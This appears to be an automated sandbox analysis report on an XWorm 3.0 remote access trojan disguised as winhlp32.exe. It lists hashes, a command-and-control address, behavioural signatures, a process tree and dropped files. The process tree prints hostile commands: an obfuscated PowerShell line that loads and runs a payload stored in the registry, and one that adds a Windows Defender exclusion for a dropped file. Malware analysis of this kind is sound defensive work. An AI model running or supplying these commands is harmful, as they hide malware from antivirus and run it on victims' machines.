Analysis

  • max time kernel
    30s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7-20240419-en
  • resource tags

    arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
  • submitted
    11-05-2024 09:52

General

  • Target

    winhlp32.exe

  • Size

    205KB

  • MD5

    a83dc22ef14c6b5d96aaee00b10a4973

  • SHA1

    ef84a5e12797487e7a4c1acaa9f783eda6cc77d5

  • SHA256

    143e319ba8ca646021e2c90acc56ebb035612146b5c8c128214da52b1386e68d

  • SHA512

    0662b2fb69f781f53333c71c3f6abbb581165457662c1f6667568b07828ee4b7b056caaff7dd1c1b857bc4bcf12743eae3489de2be426035498a82bd0caaeccc

  • SSDEEP

    6144:y2q1XI3ttUUcmIN1EAr4SeBid/eedR19:lq143cUcB1pzP1Xd

Malware Config

Extracted

Family

xworm

Version

3.0

C2

147.185.221.18:41012

Attributes
  • Install_directory

    %AppData%

  • install_file

    Agent.exe

Signatures

  • Detect Xworm Payload 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 50 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:432
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{ba1e7860-a45d-4898-a225-de7608d7e8af}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2368
    • C:\Windows\system32\services.exe
      C:\Windows\system32\services.exe
      1⤵
        PID:476
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch
          2⤵
            PID:604
            • C:\Windows\system32\wbem\wmiprvse.exe
              C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
              3⤵
                PID:2096
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k RPCSS
              2⤵
                PID:684
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
                2⤵
                  PID:760
                • C:\Windows\System32\svchost.exe
                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
                  2⤵
                    PID:820
                    • C:\Windows\system32\Dwm.exe
                      "C:\Windows\system32\Dwm.exe"
                      3⤵
                        PID:1176
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs
                      2⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:856
                      • C:\Windows\system32\taskeng.exe
                        taskeng.exe {2231640F-02DF-4E81-8A7B-D92AD80B5E75} S-1-5-18:NT AUTHORITY\System:Service:
                        3⤵
                        • Suspicious use of WriteProcessMemory
                        PID:768
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+[Char](70)+''+'T'+'W'+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue('x4'+[Char](115)+''+[Char](116)+'ag'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
                          4⤵
                          • Suspicious use of NtCreateUserProcessOtherParentProcess
                          • Drops file in System32 directory
                          • Suspicious use of SetThreadContext
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:2548
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalService
                      2⤵
                        PID:972
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k NetworkService
                        2⤵
                          PID:236
                        • C:\Windows\System32\spoolsv.exe
                          C:\Windows\System32\spoolsv.exe
                          2⤵
                            PID:108
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
                            2⤵
                              PID:1052
                            • C:\Windows\system32\taskhost.exe
                              "taskhost.exe"
                              2⤵
                                PID:1116
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
                                2⤵
                                  PID:3052
                                • C:\Windows\system32\sppsvc.exe
                                  C:\Windows\system32\sppsvc.exe
                                  2⤵
                                    PID:2164
                                • C:\Windows\system32\lsass.exe
                                  C:\Windows\system32\lsass.exe
                                  1⤵
                                    PID:492
                                  • C:\Windows\system32\lsm.exe
                                    C:\Windows\system32\lsm.exe
                                    1⤵
                                      PID:500
                                    • C:\Windows\Explorer.EXE
                                      C:\Windows\Explorer.EXE
                                      1⤵
                                        PID:1208
                                        • C:\Users\Admin\AppData\Local\Temp\winhlp32.exe
                                          "C:\Users\Admin\AppData\Local\Temp\winhlp32.exe"
                                          2⤵
                                          • Drops file in System32 directory
                                          • Suspicious use of AdjustPrivilegeToken
                                          • Suspicious use of WriteProcessMemory
                                          PID:2288
                                          • C:\Windows\System32\x4L.exe
                                            "C:\Windows\System32\x4L.exe"
                                            3⤵
                                            • Executes dropped EXE
                                            • Suspicious use of AdjustPrivilegeToken
                                            • Suspicious use of WriteProcessMemory
                                            PID:2684
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\x4L.exe'
                                              4⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              • Suspicious behavior: EnumeratesProcesses
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:1500
                                          • C:\Windows\System32\x4Shellcode.exe
                                            "C:\Windows\System32\x4Shellcode.exe"
                                            3⤵
                                            • Executes dropped EXE
                                            PID:2764
                                          • C:\Windows\system32\cmd.exe
                                            cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp1FC0.tmp.bat""
                                            3⤵
                                            • Deletes itself
                                            • Suspicious use of WriteProcessMemory
                                            PID:2696
                                            • C:\Windows\system32\timeout.exe
                                              timeout 3
                                              4⤵
                                              • Delays execution with timeout.exe
                                              PID:2700

                                      Network

                                      MITRE ATT&CK Matrix ATT&CK v13

                                      Execution

                                      Command and Scripting Interpreter

                                      1
                                      T1059

                                      PowerShell

                                      1
                                      T1059.001

                                      Discovery

                                      System Information Discovery

                                      1
                                      T1082

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • C:\Users\Admin\AppData\Local\Temp\tmp1FC0.tmp.bat
                                        Filesize

                                        160B

                                        MD5

                                        07db3304a4acb1f0e10138dee927b70b

                                        SHA1

                                        f71900ec7e7bcdb5e23984d6d7f408ecc028c7aa

                                        SHA256

                                        b0a806a474dbee5dce3519302899cc2e10f2530de7a224416c4daaf0968c36d0

                                        SHA512

                                        78cc693101f2c85d0f93d4e2294b9a3e98e3edb284e9f742d7f4bd770706b69a7b16068f55ad648a1bff5513a26982e13b2de778bb336f68587d132c35d20403

                                      • C:\Windows\System32\x4L.exe
                                        Filesize

                                        68KB

                                        MD5

                                        9ecdf1a7818f7e9952b6041e3aa19b7a

                                        SHA1

                                        93a8357036356c1c1e20a5cf69fdbad877ce8a0f

                                        SHA256

                                        0771bbea72ecea02dc0e9641cc91c039cccbcde0936716a6e3bc21b1203707e4

                                        SHA512

                                        847651f0a8cd4c5b791de90ac5987ba1ba4eca87e72df479c6c8bfc526788d22bef7123f72864a1a91aa94437d47b22cc5159d83bca6a71e246dad12fd292853

                                      • C:\Windows\System32\x4Shellcode.exe
                                        Filesize

                                        164KB

                                        MD5

                                        8a7bee2c8cec6ac50bc42fe03d3231e6

                                        SHA1

                                        ebc599a15f061a70f6b3ee74b9acfa4e3b4d299d

                                        SHA256

                                        c8139f7fcde9c68cd331bcd438dfea7f02c463c6372dc477ab305da518483db8

                                        SHA512

                                        34370b6f162cb752b1cb91d689705e6f0f247e02744bbbe85347d20cd89e02aba7c5e9e22bb63acc49b4fdc062de12ccf24f481a18c18d2094e1506bb143cad5

                                      • memory/432-50-0x00000000004C0000-0x00000000004EC000-memory.dmp
                                        Filesize

                                        176KB

                                      • memory/432-45-0x00000000004C0000-0x00000000004EC000-memory.dmp
                                        Filesize

                                        176KB

                                      • memory/432-44-0x0000000000390000-0x00000000003B6000-memory.dmp
                                        Filesize

                                        152KB

                                      • memory/432-42-0x0000000000390000-0x00000000003B6000-memory.dmp
                                        Filesize

                                        152KB

                                      • memory/432-56-0x00000000004C0000-0x00000000004EC000-memory.dmp
                                        Filesize

                                        176KB

                                      • memory/432-57-0x000007FEBFD90000-0x000007FEBFDA0000-memory.dmp
                                        Filesize

                                        64KB

                                      • memory/432-58-0x0000000037B80000-0x0000000037B90000-memory.dmp
                                        Filesize

                                        64KB

                                      • memory/476-84-0x000007FEBFD90000-0x000007FEBFDA0000-memory.dmp
                                        Filesize

                                        64KB

                                      • memory/476-74-0x0000000000520000-0x000000000054C000-memory.dmp
                                        Filesize

                                        176KB

                                      • memory/476-85-0x0000000037B80000-0x0000000037B90000-memory.dmp
                                        Filesize

                                        64KB

                                      • memory/476-80-0x0000000000520000-0x000000000054C000-memory.dmp
                                        Filesize

                                        176KB

                                      • memory/492-64-0x0000000000990000-0x00000000009BC000-memory.dmp
                                        Filesize

                                        176KB

                                      • memory/492-72-0x0000000037B80000-0x0000000037B90000-memory.dmp
                                        Filesize

                                        64KB

                                      • memory/492-71-0x000007FEBFD90000-0x000007FEBFDA0000-memory.dmp
                                        Filesize

                                        64KB

                                      • memory/492-70-0x0000000000990000-0x00000000009BC000-memory.dmp
                                        Filesize

                                        176KB

                                      • memory/500-88-0x0000000000860000-0x000000000088C000-memory.dmp
                                        Filesize

                                        176KB

                                      • memory/1500-170-0x000000001B6E0000-0x000000001B9C2000-memory.dmp
                                        Filesize

                                        2.9MB

                                      • memory/1500-171-0x0000000002080000-0x0000000002088000-memory.dmp
                                        Filesize

                                        32KB

                                      • memory/2288-24-0x000007FEF6180000-0x000007FEF6B6C000-memory.dmp
                                        Filesize

                                        9.9MB

                                      • memory/2288-0-0x000007FEF6183000-0x000007FEF6184000-memory.dmp
                                        Filesize

                                        4KB

                                      • memory/2288-2-0x000007FEF6180000-0x000007FEF6B6C000-memory.dmp
                                        Filesize

                                        9.9MB

                                      • memory/2288-1-0x0000000000880000-0x00000000008BA000-memory.dmp
                                        Filesize

                                        232KB

                                      • memory/2368-38-0x0000000077A20000-0x0000000077B3F000-memory.dmp
                                        Filesize

                                        1.1MB

                                      • memory/2368-39-0x0000000140000000-0x0000000140008000-memory.dmp
                                        Filesize

                                        32KB

                                      • memory/2368-36-0x0000000140000000-0x0000000140008000-memory.dmp
                                        Filesize

                                        32KB

                                      • memory/2368-37-0x0000000077B40000-0x0000000077CE9000-memory.dmp
                                        Filesize

                                        1.7MB

                                      • memory/2368-31-0x0000000140000000-0x0000000140008000-memory.dmp
                                        Filesize

                                        32KB

                                      • memory/2368-32-0x0000000140000000-0x0000000140008000-memory.dmp
                                        Filesize

                                        32KB

                                      • memory/2368-33-0x0000000140000000-0x0000000140008000-memory.dmp
                                        Filesize

                                        32KB

                                      • memory/2368-34-0x0000000140000000-0x0000000140008000-memory.dmp
                                        Filesize

                                        32KB

                                      • memory/2548-30-0x0000000077A20000-0x0000000077B3F000-memory.dmp
                                        Filesize

                                        1.1MB

                                      • memory/2548-29-0x0000000077B40000-0x0000000077CE9000-memory.dmp
                                        Filesize

                                        1.7MB

                                      • memory/2548-28-0x00000000012F0000-0x000000000131A000-memory.dmp
                                        Filesize

                                        168KB

                                      • memory/2548-27-0x0000000000360000-0x0000000000368000-memory.dmp
                                        Filesize

                                        32KB

                                      • memory/2548-26-0x000000001A150000-0x000000001A432000-memory.dmp
                                        Filesize

                                        2.9MB

                                      • memory/2684-22-0x0000000000CC0000-0x0000000000CD8000-memory.dmp
                                        Filesize

                                        96KB

                                      • memory/2684-23-0x000007FEF6180000-0x000007FEF6B6C000-memory.dmp
                                        Filesize

                                        9.9MB

                                      • memory/2684-198-0x000007FEF6180000-0x000007FEF6B6C000-memory.dmp
                                        Filesize

                                        9.9MB